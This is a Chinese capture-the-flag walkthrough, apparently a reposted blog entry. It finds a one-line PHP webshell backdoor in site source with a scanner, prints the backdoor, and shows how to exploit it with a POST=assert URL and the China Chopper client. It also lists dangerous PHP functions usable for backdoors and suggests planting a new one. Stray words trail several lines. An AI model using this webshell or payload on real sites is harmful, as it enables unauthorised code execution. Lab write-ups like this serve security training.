1、訪問連接php
2、下載系統源碼後直接放到D盾裏掃描,掃到後門文件html
3、查看該木馬文件shell
<?php error_reporting(0); $_GET['POST']($_POST['GET']);?>函數
1.error_reporting(0); 關閉錯誤報告post
2.$_GET['POST']($_POST['GET']); 一句話木馬,GET傳入POST值,再將密碼:GET以POST請求方式傳到後臺ui
所以構造payload:http://219.153.49.228:41996/www/cn-right.php?POST=assert,密碼爲GET 鏈接菜刀,字符編碼:utf-8編碼
PHP有不少危險的函數如:eval、system、assert等,那麼咱們可使用這些危險的函數來達到後門的目的:spa
eval('phpinfo();'); //eval() 把字符串做爲PHP代碼執行 echo system('dir'); //執行外部程序,而且顯示輸出 assert('phpinfo();');// 若是參數是字符串,它將會被當作 PHP 代碼來執行 assert(phpinfo()); //assert參數不加引號,也能夠執行哦
好了,看到解題思路里都是用POST=assert,那爲何不用POST=eval呢?
再看一個例子:code
$str='assert'; $str('phpinfo();'); //正常執行 $str='eval'; $str('phpinfo();'); //Fatal error: Call to undefined function eval() in D:phpStudyPHPTutorialWWW1.php on line 9 報錯了 $str='system'; $str('cd'); //正常執行
可看到,eval並不支持可變變量形式,除了eval,還有echo、print、unset、isset、empty、include、require等語句,因此這裏不能使用POST=eval形式,由於eval不支持可變變量形式。
也能夠構造如POST=system。post裏面爲cmd/shell命令,如GET=dir。經過shell命令操做也能夠獲得key值,當前你要用eval,能夠用shell命令生成一個一句話後門便可。htm
4、在/www/html找到KEY
原文出處:https://www.cnblogs.com/WhiteHatKevil/p/10251975.html